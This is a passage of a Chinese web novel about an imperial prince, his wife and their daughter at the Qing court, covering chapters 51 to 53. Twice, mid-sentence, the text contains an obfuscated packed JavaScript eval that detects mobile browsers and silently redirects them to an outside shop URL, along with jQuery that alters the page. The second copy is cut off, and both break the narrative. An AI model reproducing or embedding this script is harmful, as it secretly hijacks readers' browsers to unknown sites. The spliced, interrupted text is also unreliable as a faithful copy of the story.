胤褆嘴角没忍住缓缓勾起,“则是被人狠狠摔在地上的声音。” “练武的师傅,是这样练皇室里的阿哥的?他们就不怕被迁怒什么的?” “教导皇阿哥的武师傅都是有官职的,且都是那些武功不错但因为某方面不足,以后升无可升之人,他们能怕被迁怒什么? 还有,舒禾你是不是有点思维固化了,怎么出口就是……” “有吗?我不觉得我思维固化啊,不然你刚刚解释那么多干什么?”打断胤褆接下来控诉的话,舒禾点出他前半段话中无意识的解释。 被点出后,胤褆一愣,旋即沉默下去。 要不是发现身边坐着的哈拉不知道什么时候扒拉着桌子抓了两个鸡腿在啃,他说不定会沉默一顿的饭的时间。 看着被啃光肉剩下的鸡骨头,胤褆百思不得其解的问道:“你怎么拿到两个鸡腿的?” “就这样——”哈拉说着,麻溜地爬上桌子,又抓了个肘子回来在上面啃了一口。 看着大口吃肉的女儿,胤褆脑海一片空白,愣是不知道怎么反应。 再说一边的舒禾,她人都快傻了,她之前单知道女儿跟着惠妃不会受委屈,却没想到会不受委屈到这种地步。 如此自然的爬桌拿肉,这怕不是顿顿都在练习吧? 顿顿不顿顿练习这个不得而知,但是看着哈拉大口吃肉是真的香,看着看着舒禾和胤褆都不自觉动起了筷子。 一顿饭吃完,舒禾才惊觉不对,她和胤褆两个大人从头吃到尾也就算了,怎么哈拉这么大点个小人纽也从头吃到尾? 慌里慌张地跑过去抱住哈拉,手放在她肚子上探了一下,问:“哈拉,吃那么多,肚子疼不疼?” “不疼,就是……”哈拉扫视一圈桌子上的残羹剩饭,声音变小不少,“就是还有点饿?” “还饿?” 两个新手父母对视一眼,都有点慌神了,完了,这怕不是撑傻了吧? 胤褆豁地一下站起身,“我让李阔请个小儿郎中、不,请太医。” “好,那我先让冬至去熬点消食的汤,不不不,还是等看过太医再说。” 见他们两个一个要请太医一个要熬消食汤,还饿着的哈拉人也傻了,麻溜地爬到椅子上站好,双手叉腰怒视两个不靠谱父母。 “不是!你们两个养不起把我送回妈妈身边就得了,怎么还要让所有人我的真实食量啊!” 慢一步赶来的宝石也赶忙解释道,【她饭量上这一点,确实异于常人,这些年有着惠妃遮掩、外加嘱咐,倒也没在宫里面传出什么。】 得了解释,舒禾心里面松了一口气的同时明面上却还是一副慌乱模样,毕竟变化太快容易惹人怀疑不是。 只在胤褆想跑出来时,急忙抓住他胳膊,“保清,咱们这样慌里慌张的请太医属实有点不妥,不如派人进宫先问问额娘,若是额娘说需要请太医再请?” “还是舒禾你思虑周全,这样,我现在让李阔进宫,至于这期间……” 胤褆犹豫地看向眼睛圆睁死瞪着他的哈拉,心一硬,果断道:“先不让下人上菜,只备着,待确认没问题后,再让他们上菜。” “我也要进宫找妈妈!” “要不,咱们带着哈拉一起进宫找额娘?这样不止可以省下一半时间,还可以多陪陪额娘。” “舒禾,咱们现在吃的这是晚膳。” “啊?我知道啊。” “现在进宫,晚上可就赶不急在宵禁之前回来了。” “那不如晚上在宫里面住一晚?” “……行,住就住!”说完胤褆闭了闭眼,为昨天那个想放着府邸不住、住南三所是脑子有坑的自己默哀一秒后,就果断抱着哈拉牵着舒禾走了出去。 51.自我剖析 一路快马加鞭,赶在天黑之前进了宫的一家三口径直就去了延禧宫,此刻的延禧宫宫门大开,很明显里面的主子都没有休息。 见状,舒禾心里面松了一口气,理了理微微凌乱的鬓角,跟在胤褆身后就踏了进去。 宫内,惠妃正伸着手让人卸前些天刚做好的丹蔻,骤然听到有人来禀说胤褆带着孩子福晋来了,人还有点没回过神。 一脸懵地看着进来禀告的小太监,不可置信地问道:“谁?你说谁来了?” “回娘娘,直郡王携其福晋还有小格格来了,现下正在正殿那边候着呢。” 这下子惠妃听是听清楚了,但她开始纠结到底出不出去了。 俗话说得好,手就是女人的第二张脸,现下这卸了一半的丹蔻就像那女人卸了一半妆的脸,让她就这样出去,她自是不愿的,但若是重画丹蔻,花费的时间太长,到宵禁时间照样见不到。 看出了惠妃的纠结,翠宛提议道:“如今天寒地冻的,嫌手冷把手放到袖子里的比比皆是,娘娘不如也如此。” “不美观。” 翠宛见惠妃面上已经松动,就知道她心里面已经动摇了,只是还需要一个理由。 “娘娘,小格格也来了,若是耽搁的时间久了,小格格睡着……” “不必说了,扶本宫起来!” 惠妃带着翠宛雄赳赳气昂昂的去了正殿,脸上带着慈爱的笑容刚踏进门,就瞬间消失不见,取而代之的是极速积攒的怒气进度条。 只见殿内三人,哈拉是满脸泪痕、舒禾正满脸焦急的抱着哈拉轻哄,只有她那傻大儿站在那无所事事的打哈欠。 这情况,惠妃用脚趾头想都知道该朝谁撒气,收回被翠宛扶着的手,冷声道:“去、去把我的棍子拿来。” 一听这话,胤褆就下意识感觉不妙,回头一看,就知道自家额娘八成是误会了什么,赶忙解释:“额娘,事情不是你想的那样!” “哦?不是我想的那样,那是哪样?” “事情是这样的,我和舒禾在家带着哈拉吃饭,叫了一桌子大概二十几道菜,哈拉和我们同步吃饭,最后一桌子饭菜都被吃完了不说,哈拉还一副没吃饱的模样。 我和舒禾见了担心,害怕是小孩子不知饥饱,就没敢给她继续吃,而是带着她准备先来问问您她平时的食量是怎么样的,若是不正常,就顺道请了太医住一晚,若是正常,再让她吃饭。 您瞧,那边我还准备了糕点。” 实际上糕点并不是他准备的,而是舒禾准备的,但是谁让现在的他害怕被额娘拿着棍子追着打,在福晋、女儿面前失了脸面,只能先小小的抢一下功了。 惠妃看了看一边的糕点盒子,心里面的怒火小小的下降一些,但仍是没有拒绝翠宛递过来的棍子。 小孩手腕粗细的棍子被惠妃拿在手里面不停摆弄,大有说不好就一棍子敲上去的样子,看的哈拉是泪也不流了,肚子也叫了,整个人全神贯注的投入到了亲阿玛倒霉挨训的画面中。 “舒禾,你先给哈拉拿两块糕点吃着,翠宛,拿着我的牌子,去御膳房叫点好克化的吃食,至于胤褆,你跟我来——” 胤褆苦着一张脸跟惠妃走了,临走前,给了舒禾一个救我的眼神,对此,舒禾回以爱莫能助的表情并给哈拉拿了块点心。 哈拉一边啃点心,一边小声问道:“额娘,阿玛是不是要挨打了?” “呃……” 就在舒禾犹豫该不该撒个小谎,维护一下胤褆作为阿玛的威严时,哈拉晃了晃脚,自顾自的把答案给了出来。 “肯定是要挨打了,每次妈妈打我,都是让翠宛姐姐拿那个棍子出来。” 瞬间,什么遮掩不遮掩的都被舒禾抛到了脑后,掰过哈拉的小脑袋,拧着眉问道:“你妈妈经常打你吗?” “不啊,只在我闯了大祸,需要做做样子的时候拿出来比划两下,还都收着力道。” 闻言,舒禾心下微松的同时,不免好奇起来哈拉能闯什么祸,抬手理了理哈拉额头上的碎发,好奇地问道:“哈拉都闯过什么祸?” “不是闯祸,我只是干了我认为对的事,然后就有一堆人跳出来说我闯祸,妈妈也是这样,”哈拉小大人似的捧着糕点叹了一口气,“唉~真不知道他们什么时候才能理解我的良苦用心。” “你认为对的事,比如?” “皇玛法的砚台旧了,不舍得换,我就帮他把砚台扔到荷花池里面去了。 还有太子叔叔不想批折子,想休息,但是不好意思说,我就帮忙把墨水弄撒,帮了他一把。 十四叔也是,不想吃胡萝卜,我喜欢,就带着翠翠姐姐去御膳房把胡萝卜都偷回了延禧宫。 四叔叔嘛,帮的忙小点,就是打了两个一直不还钱的官。 还有还有……” 还有啊?舒禾沉默着抬头望向虚空,有那么一瞬间,她感觉她的灵魂已经去了另一个维度。 这祸闯的,整个紫禁城的人,怕不是已经被哈拉得罪了个遍吧? 就在舒禾怀疑人生之际,惠妃走了进来,并接手了她怀里面小嘴不停叭叭的小家伙,对着她摆了摆手,“哈拉留在这再住一晚,胤褆在外边等你,说是现在就回南三所。” “我知道了额娘,儿媳告退。” 临走前,舒禾回头看了一眼,抱着哈拉的惠妃笑的十分慈爱开心,而坐在惠妃怀里面的哈拉也和在郡王府里面的她不一样,看上去更真实、也更乖巧。 看着这副画面,脑海中突然冒出一个猜想,并在回南三所的路上愈演愈烈,回到只有两个人的房间,舒禾再也忍不住把自己的猜想说了出来。 “保清,我发现哈拉在额娘身边和在咱们两个身边完全是两个样。” “啊?这不是很正常嘛,小孩也会看眼色,知道谁最是会惯着她……” “不一样!”舒禾打断道:“今天一天下来,哈拉从头到尾都在展示她与常人不同的一面,很像……很像是想让我们受不了她的小脾气,从而放弃将她带在身边。 可能是平常听多了宫人的闲话,觉得咱们两个回来,她就要被迫离开一直照顾她的妈妈,才会如此。” “我明天去找额娘,让她清理一遍哈拉身边说闲话的宫人。”胤褆想了想道。 “这是其一,我还有第二个问题,那就是,哈拉如此抗拒离开额娘,咱们还要带她离开吗?” 舒禾垂眸看着地面,等待着胤褆的回答,但在她心里面已经放弃了带哈拉离开的想法,人非草木,相处久了都是有感情的。 他们两个作为哈拉从小到大的缺席者,实际上并不具备代替她做决定的权利。 若说感情付出,哈拉对他们只有好奇,对惠妃的却是全然依赖,当然,他们两个对哈拉……说是喜爱,不如说是一种责任,为人父母的责任。 在这种情况下,做什么,都只会是…… “舒禾,你说的,我明白,明天去找额娘时,我会和她好好谈谈,谈谈咱们两个在外边做了什么,谈谈哈拉以后的学业方向,但,不会谈带哈拉离开这件事。” “保清……” 胤褆摆摆手,制止了舒禾接下来的话,“不用说了,我从小就是在宫外长大的,到了六岁记事才回宫,这种父母不在身边的感觉我知道。 初回宫时,仍有一种物是人非的恍惚感,整个人都颓了,我经历过的,不想咱们的女儿再经历一遍,学习管理领地嘛,在哪都能学。” “谢谢。” “嗐,说这个有点太见外了吧?”胤褆皱着眉头弯腰把舒禾打横抱起,“这个听的我不高兴,我要罚你。” “呵,我认罚。”说着,舒禾抬手环住胤褆的脖子,凑过去在他脸上亲了一口。 此后又是一番亲热不提,翌日,胤褆早早就起身准备去给惠妃请安,却在冬至想要喊舒禾起来时摆了摆手,“不用喊福晋,爷自己去请安。” “是。” 带着李阔一路溜达着来到延禧宫,胤褆前脚进门后脚就喊:“额娘!额娘——儿子来给你请安了!” 这一嗓子惊的惠妃手里面的胭脂盒都掉了,看着地上撒了一地的珍珠粉,惠妃黑着一张脸指着外边,“去,把他给我赶出去,赶得远远的!” “娘娘,这不合理……” “呼——对,是不合理,翠蕊,让他去正殿给本宫等着! 翠宛,继续梳妆。” “是,娘娘。” 就这样,惠妃磨蹭了半个时辰才出门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144361|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一进正殿就见胤褆像没骨头一样瘫在大椅上,桌子上摆着的是她分到的桔子——皮。 看那一堆,估摸着把她分到的都吃完了。 负负得正,经过这么一气,惠妃整个人都进入了到了心如止水的阶段,越过胤褆坐的椅子走到首位坐下,端起桌上的温茶抿了一口。 “说吧,这么早过来干什么。” “额娘,让翠蕊和翠宛去外边守着,儿子有话跟您说。” “搞得这么神秘兮兮的,一会要是不是什么大事,我告诉你胤褆,昨天逃了的那顿打今天一定给你补上!” 惠妃一脸嫌弃的看了胤褆一眼,给了翠宛一个眼神,翠宛就带着翠蕊出去了。 待到室内只剩母子二人后,胤褆走到惠妃下首的位置,低声道:“我和福晋出海这三年,寻摸了个地方,打下来做了封地……” “等等,这事你皇阿玛知道吗?” “不知道。” “你打算告诉你皇阿玛吗?” 胤褆摇摇头,“不打算,我只打算和太子合作,至于皇阿玛,他年纪到底是大了。” “这大不敬的话,以后少说。” 说什么年级大了,这跟诅咒早死有什么区别,若是被谁不小心听到告到皇上跟前,依她看,胤褆这脑袋是别想要了。 “额娘,我都知道,这些话也就是没人时对着你说说罢了。” 嗯,还有一个福晋,其他的是真的再也没有了,胤褆心虚的想。 并不知道胤褆在心虚的惠妃却是十分满意,脸色微缓,再开口时,语气都柔和了不少。 “既然你的那些打算没打算告诉你皇阿玛,那就又别告诉我了,我常年伴着你皇阿玛,知道些什么,难免会有晃神的时候,若是不小心说漏嘴让你皇阿玛起了疑心就不好了。” “那听额娘的,实不相瞒,儿子今天过来,还有一事想和额娘好好谈谈。” “是哈拉的事吧?”惠妃用着疑问的话式说着肯定的话,很明显她内心早有准备。 见此,胤褆也不绕弯子了,直接点了头,“确实和哈拉有关,但应该不是额娘猜想的那样。” “那是怎样?” “昨天晚上回去,我和舒禾有仔细回想和哈拉相处时的细节,发现她并不是那么愿意待在我们身边,所以就想着……” “哈拉只是年纪小不懂事,哪有孩子不想待在阿玛额娘身边的呢?”惠妃强撑着笑意说道。 “额娘,笑的那么勉强,不如就别笑了吧,挺难看的。” “胤褆!” “说实话,您现在这样都比刚才那样好看。” 胤褆摊摊手,一脸我说的都是大实话的表情,看的惠妃牙痒痒,恨不得冲上去给他几个大耳光,让他滚回去好好反思反思自己的说话方式,什么时候会说人话了什么时候再滚回来。 顶着惠妃愤怒的目光,胤褆继续侃侃而谈,“接着刚才的说,我们两个是想着把哈拉继续留在您身边,但额外请些靠谱的师傅教导,毕竟以后要接管领地,没有眼光见识可不行。” “你说,让哈拉接管你的领地?”惠妃一脸恍惚地看着胤褆,有些怀疑是不是自己年纪大了,耳背听错了。 “您没听错,就是让哈拉接管我的领地,事实上,如果不出意外,哈拉应该会是我在这个世界上唯一一个血脉。” “为什么?” “什么为什么?您若是说为什么只要哈拉一个孩子,可能和我的叛逆心有关吧,您知道吗? 小时候,看着皇阿玛在各个皇子、皇女间端着一碗水选择连碗直接直接交给太子,我们这些孩子最多分些太子不想要嫌脏的水,我就想过,这辈子要么不要孩子、要么就要一个,给她我曾经羡慕的一切。 听着很可笑吧,生在皇室却有着这么个想法,可这就是我的想法。” 还是曾经深埋内心的想法,若不是娶了舒禾,和她交了心,又在外边有了成就,有了掌握自己人生的能力,胤褆确定以及百分百肯定,他的这个想法会一直深埋心底。 思及过往数年心理变化,胤褆在内心自嘲一笑,他们这些皇室的人啊,就是这么虚伪,小小年纪就懂自己以后的路如何,和那些生在爱中长在爱中的人有着云泥之别。 52.京中生活 惠妃听了胤褆的话,沉默许久,方才道:“送你出宫,让你在宫外长大,是额娘对不住……” “不怪您,当时宫里面的皇子都夭折,将我送出宫也是为我好,只是额娘,儿子也希望您能体谅我在宫外养成的这副性子。” “话说到这份上,我还能说不体谅吗?”惠妃苦笑一声,旋即又收敛神色,做回往常那个雷厉风行的惠妃。 “你说的,额娘都记下了,只是请师傅这事,可能不太好办。” 若只是一般师傅,她母家那边就能帮忙,但依照她对胤褆这个儿子的了解,他想要的,绝对不止是一般师傅,他想要的,一定是顶顶好那种。 胤褆也知道惠妃身在后宫有诸多不得已之处,闻言只道:“这事儿子和皇阿玛说,只要额娘您这边别把哈拉拘着和平常女子一般就行。” 两人又聊了两句,胤褆顺势就提出了告退,望着胤褆离开的背影,惠妃小声嘀咕道:“臭小子,我要是拘着她,她能养成和你小时候这么像的性子吗?” “娘娘,可是大阿哥他又惹您生气了?” 面对翠宛的询问,惠妃摆摆手,“行了,别提那个臭小子了,扶我起来,咱们去看看哈拉醒了没。” “是。” 这边,胤褆离开后并没有直接回南三所,而是去了御书房,边走边看天色,估摸着他到地方康熙也就下朝回御书房批折子去了。 走在宫道中,不知道怎么,脑子一抽,胤褆就问了李阔一个问题,“李阔,你觉得哈拉那样和爷小时候很像?” “爷,依照奴才看,那何止是像,简直是一模一样。” “那这样看来,爷小时候应该是挺欠揍的。” 李阔没听清胤褆小声嘀咕的什么,却也不敢让胤褆再重复一遍只能低着头祈祷刚才那句话不是让他干活的。 御书房门口,胤褆站在门口,对着梁九功招了招手,笑的灿烂,“梁公公,好久不见啊。” “呵——呵呵,直郡王,说笑了不是,昨天刚见过,怎么就称得上一句好久不见了,您这是找皇上有事?” “对,有点私事要说,你进去问一声,看看爷能不能进去。” 闻言,梁九功点点头就走了进去,片刻后,小跑着出来到胤褆面前,“直郡王,皇上说让您进去。” 胤褆点点头,把李阔留下一个人就走了进去,不出所料,御书房内有两个人,一个是他的皇阿玛另一个是他的怨种太子弟弟。 没错,就是怨种,还没有登基就要跟着干那么多事,未来这江山还不一定会落到自己手里面,可不就是怨种嘛! “儿臣参见皇阿玛,给皇阿玛请安。” “起吧,”康熙一目十行的看着手上折子,头也不抬地道:“说吧,什么事需要用到朕了?” “看皇阿玛您这话说的,没事儿臣就不能来看您了么?” “能是能,但你不会,所以,有什么赶紧说,一会还要召集各大臣开会。” 知道时间紧,胤褆也不耽误了,直接把自己过来的目的一股脑地秃噜了出来。 “皇阿玛,儿臣想请您给哈拉请几位好的文武师傅让她能够多学些东西,以后也好防身。 还有懂奇异诡事的师傅来,她天生神异,儿子不希望她的这份天赋以后泯然众人。” “哈拉?”重复了一遍这两个字,康熙抬头似笑非笑地看向胤褆,“朕怎么记得赐名圣旨上写的名字是乌雅束?” “是乌雅束没错,儿臣也没给她改名,只是给她起了个小名罢了,至于大家为什么都只叫小名,儿臣就不知道了。” “保清啊保清,你可真是大了,都学会跟朕打太极了,罢,就依你的意思,给她请些文武师傅和神学师傅。” 见康熙答应下来,胤褆得寸进尺地继续提要求,“皇阿玛,儿臣认为,这全天下最好的文武师傅莫过于上书房的那些先生,要不……” 胤褆搓搓手,还没来得及说自己的打算,就听康熙开口道:“那些师傅还要教其他人,不能专门给她授学。” “儿臣好像没说是专门。” “你那霸道性子,朕还是知道一点的,反正这事免提,你出去吧,文武师傅朕会给她另寻。” “不不不,不用另寻,让她跟着其他人一起去上书房入学就行,其他人学什么她就学什么。” 在上书房混了十年,他可是知道上书房有化腐朽为神奇的能力在的。 这下子折子是彻底不批了,康熙抬头直勾勾地盯着胤褆,像是在看什么稀罕物件,连带着一边的胤礽也是这种眼神,直接把自认已经不害怕什么的胤褆给看的毛骨悚然。 “皇阿玛,您这样看儿臣,可是儿臣身上有什么不妥?” “不妥倒是没有,就是没想到,从小最是厌烦上书房的你,有一天居然会把自己的女儿送进去,上书房的苦你是知道的,就真的不后悔?” “不后悔!皇阿玛您放心,我若是有一天后悔,就在这御书房您面前抹脖子自……” “滚!一天天嘴里面没一句正经话,滚!” 胤褆接住扔过来的桔子,弯腰作了个揖,笑着告退:“谢皇阿玛赏,儿臣告退。” 就在胤褆即将打开门出去时,突听身后传来一声问询,开门的手微顿,头也不回的回道:“这次回来,儿臣应是不会久待,兵部什么的,就算了吧。” 说完,胤褆就打开门走了出去。 许久,房间内突然传出一声叹息,“放飞了的鸟,再想收回来,果然是不可能了。” “皇阿玛,还有儿臣和众兄弟陪着您呢。” “陪又能陪多久呢?雏鸟总要长大,总要经历风雨,总要渴望自由……” 一觉睡醒,还没来得及下床,就被守在床边的好大一坨抱住,并笑着炫耀今天一早上的战果,那种感觉就像是养的大犬猎了猎物回来,在疯狂求夸夸。 舒禾背靠在床头,抱住扑过来的胤褆,好心情的附和着他的话,末了还不忘总结式夸夸。 “一早上就干了那么多事,真是辛苦了你了保清,很棒哎,换成一般人肯定干不来。” 胤褆埋头在舒禾怀里面蹭蹭,那勾起的嘴角怎么都压不下来,轻咳一声,强撑着道:“爷还让李阔去套了马车,等你收拾好,就能出宫。” “出宫?” “昂,出宫去你家,回来也有三天了,再不去你家有点说不过去了。” “你不说我都忘了还没回过家,”舒禾抬手扶额,“这两天过的实在是太混乱了,人都快傻了,你先起来,我去洗漱梳妆。” “我陪你一起。” “好。” 一番折腾,出宫时时间已经几近午时,舒禾抱着要一同出宫的哈拉和胤褆紧赶慢赶在午时前出了宫,并在午时三刻来到了尚书府。 因着没有让人通知的原因,尚书府门外并无人迎接。 门口守门的下人看到从马车上下来的三人,行礼过后刚想进去禀告就被制止了。 “不用进去禀告,”舒禾摆摆手,自家什么样她还是知道的,“你自去兵部把直郡王来了的消息告诉尚书大人就行。” 嗯,她阿玛现在肯定不在家,遣个人过去叫他,让他请个假归家,免得下职回家她等不及走了。 说是没人禀告,但舒禾最后还是在半道去遇到了过来的苏晚清。 “奴才参见直郡王、直郡王福……” “额娘,快起来,不用多礼。” 舒禾快走两步过去扶住行礼的苏晚清,想要起身时却发现一股抗力,抬头不解的看向苏晚清,就见苏晚清越过她看着胤褆,很明显是不敢擅自起身。 见状,舒禾扭头看向出神的胤褆,皱紧眉头,轻咳两声,以示提醒。 结果胤褆没接收到,被抱着的哈拉收到了,抬手朝胤褆脸上掐去,把胤褆掐回神后,小声道:“看额娘。” 经提醒,胤褆往不远处扫去,见了两人僵持的情况,一瞬间就明白了是怎么回事,轻咳一声,赶忙道:“岳母不必多礼,快快请起。” “额娘,起来吧。” “好、好,你们两个这是来……” “出海几年,未曾见过额娘,思之念之,今天是特意来探望的。” 听到‘思之念之’四个字,苏晚清眼里面闪过一抹水光,又很快收敛,紧紧握住舒禾挽着她的手,提议道:“如今家里面主事的人不在家,只有我那不成器的二儿子在,不如让他陪着直郡王吃酒?” 过来之前胤褆就做好了福晋被征用的准备,因着面对这明显要支开他的话术,也没什么不悦,只点了点头。 “既如此,就依岳母所言。” “哈拉……” 像是预判了舒禾的话,不等舒禾说完,胤褆就道:“哈拉爷带着就行。” “春分,你去,引着郡王去二少爷的院子。” “是,郡王,这边来——” 等胤褆跟着春分走了,苏晚清才带着舒禾回了她住的院子。 卧房软榻上,苏晚清心疼的摸着舒禾的脸,“瘦了、也黑了,出海的日子很苦吧?你说说你,没事偏挣那一口气干什么,这些辛苦累活,让他们男人去干不就行了。” “哎呀额娘~什么叫我偏挣那一口气,我就是……就是……” “就是什么?说不出来了吧?”苏晚清幽幽地叹了一口气,碎碎念道:“从小就是这样,有什么都想着自己解决,从来不想着依靠家人。 自打大了、嫁人了,就更是有主意了,也不想想,万一他想卸磨杀驴怎么办,什么底牌都往外交,教你的东西怕是早在出嫁那一刻就还给我了。” “额娘,真心换真心,他对我真心,我若是一直冷淡如冰,真心是会冷的,还有,我没有什么东西都告诉他,我有底牌的。” “有?你有什么?你在外边的那些事,你二哥都跟我说了,说你什么事都挑大梁,直郡王根本就不管事,但所有人还是只听直郡王的。” 舒禾抱着苏晚清的一只手靠在她肩上,闻言撇了撇嘴,“你就听二哥瞎说吧,还所有人只听他的,能有四分之一他就该谢天谢地了。” 她掌握着整个领地的财政大权,可以这么说,一个厂能不能办起来,一场仗能不能打起来,全看她是不是拨钱。 半数人的俸禄都是从她口袋里面出的,若说不听话,纯属是没尝过打白工的苦,断两个月俸禄就听话了。 “你啊——”苏晚清抬手点点舒禾的额头,“明面上如此,暗地里呢?” “当是表里如一。” “人心不可测,表里如一的话,哄哄小孩还行,额娘知道劝不住你,你也有自己的打算,只盼着你以后不要把自己置于危险之中。” “放心吧额娘,我最爱惜我这条命了!” 苏晚清无奈摇头,看着相比出嫁前活泼了不少的女儿,到底是没把原来准备让她小心直郡王的话说出来,现在他们两个生活幸福美满,若是因为她一句话而生分了,她就是那破坏女儿幸福生活的罪魁祸首了。 揉揉舒禾脸颊上不似以前丰满的脸颊肉,柔声问道:“让人把哈拉抱来看看可以吗?” “可以啊,”舒禾应下后,清了清嗓子,抬起头朗声道:“冬至!去郡王那把格格抱来,就说是我想她了。” 听见外边传来了肯定的回复后,舒禾重新窝回去,看似抱怨实则调侃道:“额娘你都不喜欢我了,往常我来,可都是咱们两个独处。” “多大的人了,还吃小孩的醋,”说完这句后,苏晚清顿了顿,又接着道:“让她过来,是因为刚才惊鸿一瞥,恍惚间仿佛看到了你小时候的模样。” “我小时候?” “对,那眼睛、那嘴巴,活脱脱就是你小时候的翻版。” 在苏晚清说这个前,舒禾从来没在心里面比对过哈拉和谁更相像,如今经苏晚清这么一说,内心默默比对了一番,惊愕的发现,哈拉其他的不说,和她小时候至少有七八分的相像。 当然,只是外貌上的相像,哈拉那调皮捣蛋的性子肯定是随了胤褆,她自认小时候没那么调皮。 得亏苏晚清不知道她在想什么,不然肯定是要问问她,你小时候那算不调皮?八、九岁时爬树、爬屋顶、抓虫子扔到官服上的……敢情不是你啊? 两刻钟时间过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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事实证明,喂哈拉喝酒这事没那么容易过去,晚上送哈拉回延禧宫,惠妃见哈拉人有点不对劲,随口问了一句,得知原委后,胤褆逃了两顿的打到底是挨上了。 毫不夸张的说,回府的路上胤褆在趴在马车内苦着一张脸回去的,惠妃打他,专挑肉厚的地方打,也就导致他现在根本就坐不下来。 看着他这副模样,舒禾是又气又好笑,气他不知分寸给哈拉喂酒,笑他现在这副趴着的模样真的很像一只被斗败哭唧唧的大型犬。 当然,哭唧唧是夸张了的,但往常傲着一张脸的人苦着脸,就真的很幻视。 舒禾笑着坐在胤褆旁边,摸了摸他的侧脸,见他看过来,“额娘……” “啊呀——别提额娘了,一提额娘我就想起那粗棍子了,好舒禾,提点其他的。” “行,那我跟你说说领地内的事?” “不想听。” 这个不听那个也不听,舒禾收回放在他脸上的手,好整以暇地问道:“那你想听什么?” “嗯……想听你对我谈情说爱,嘶——疼疼疼,轻点,好舒禾,错了错了,不油嘴滑舌了!” “哼~”舒禾冷哼一声收回掐着胤褆腰的手,“就说领地内的事,不想听自己把耳朵缝起来。” “不想听就要把耳朵缝起来,真是好霸道一人。”胤褆小事嘀咕道。 舒禾听清胤褆嘀咕的什么后,一挑眉,反问道:“说什么呢,那么小声,大点声让我也听听。” “没什么,舒禾你说,爷听。” 这略怂的模样,不得不说,真是深得她心,舒禾勾唇一笑,挑了些不怎么重要的事和胤褆聊了起来,有没有结论不重要,重要的是打发时间。 在京城中的日子大抵都是如此,穿梭在郡王府、宫内、尚书府以及各大娱乐场所,无聊且惬意,过了半年多轻松舒适的生活后,胤褆耐不住性子,主动去找舒禾商量离开的事。 “舒禾,咱们该回去了吧?” “回哪?”舒禾打算盘的同时抽空回了一句。 “回领地,你看啊,算上路上的时间,咱们都走了快一年了,再算上返程的时间,估摸着到领地还有半年,一晃就一年半,你就不怕明珠和索额图耐不住性子谋权篡位?” 把看完的账本收起来放到一边,另拿一本新账本接着算,换账本的过程中抽空看向胤褆,见他满脸期待,忍不住拿他曾经说过的话去堵他。 “你不是说他们两个没这胆子吗?” “我说过?”胤褆一脸疑惑地摸了摸鼻子,两秒后,果断道:“爷没说过,舒禾你一定是记错了。” “行,就算是我记错了,可是离开前你说留下了七、八个后手这事,总是真的。” “假的!爷吹牛了,舒禾,咱们就回吧——”胤褆拖着长音,祈盼的看着舒禾,恨不得她前脚答应他们两个后脚就瞬间回到领地。 “回回回,别这样看我了,这样,你拿着这张银票,去京城里面买些时兴东西,明天咱们进宫和额娘、皇阿玛道个别。” “啊?别了吧?” “嗯?” “……我这就去。” 胤褆无奈离场,他倒不是不想和额娘道别,就是最近不知道怎么回事,他那几个兄弟盯他盯的紧,他害怕他前脚道别后脚就被缠上。 皇家无兄弟,他那些个兄弟的想法他知道,但是凭什么呢,一个个一穷二白的家伙,又没有什么特别的利益吸引,就凭前些年积攒的那点微不可察的兄弟情份就想让他帮他们,世上可没有这么好的事。 低头看一眼手中银票,豁,五万两,不愧是他福晋,就是财大气粗。 “李阔,爷考考你,一万两能在京中买到什么时兴东西?” “一万两……能在琉璃厂买些精美的外来物品?”李阔迟疑着回道。 听到这么个答案,胤褆也懒得费心思多想买什么,当即就决定摘抄,摆摆手示意李阔去牵马。 “牵马,你跟爷去琉璃厂。” “爷,这么敷衍真的好吗?”刚才书房内福晋说的话他有听见,那张银票的数额也有幸得见,现今见胤褆这摆明了就准备花一万两的模样,不由有些担忧。 嗯……担忧事情败露,爷被福晋赶出房门,他也被迁怒。 53.御书房议出海 胤褆歪头斜李阔一眼,冷哼一声道:“你懂什么,皇阿玛富有四海,那是会在乎爷这小礼物的人?” 再说了,不是还有一句话是那什么千里送鹅毛,礼轻情意重嘛,他这送个万两的东西,再怎么也比根鹅毛好吧? 李阔一脸苦色地跟着胤褆去了琉璃厂,然后眼睁睁的看着他家爷一万两的东西也嫌贵,最后只花了五千两买了两个小摆件。 就在李阔以为礼物买完了,要走了的时候,他家爷一拐弯去了金玉阁,用剩下的四万五千两买了一套红宝石的头面和一套粉翠镶金的头面。 这大方劲,倒是和刚才那个一万两都嫌贵的人狠狠区分开来了。 胤褆嘴里面哼着小曲带着负责拎东西的离开就回了府,回府后,胤褆挑出两套头面后,对着李阔一摆手,“去把东西放好,顺便安排一下明天进宫时的马车。” “是。” 打发走了李阔,胤褆迈着欢快的步伐就去了书房,打开门往里面探头一看,他离开前是什么样的人还是什么样,整个书房全无一丝变化。 不对,也不是没有变化,离开前舒禾左侧的账本比右侧的账本多,现在颠倒了过来,说明他离开这段时间,舒禾看了不少账本。 “站在门口看什么呢,还不进来?” “嘿嘿,这就进来,”胤褆彻底打开门走进去,抬脚把书房门踢上,走到书桌边,把手里面的两个首饰盒放到桌上,扬了扬下巴:“看看。” “什么?” 舒禾一边问一边伸出手打开了面前的首饰盒,打开第一个,见到了里面的东西,唇角微不可察的微微上扬,再打开第二个,唇角那是彻底压不住了。 轻咳一声,直视满脸求夸奖的胤褆,故作严肃道:“这两套头面看上去不便宜,你买了这两套头面,还有钱买进宫时带的礼物?” “小瞧我了不是,我是买完礼物才去的金玉阁,所以礼物,当然是准备好了。” “真的?礼物拿来我看看。” “咳,礼物我让李阔收起来了,李阔现在不在府内,找他不好找。” “这样啊——”舒禾拉长声调,直勾勾地看着胤褆,表明了不相信。 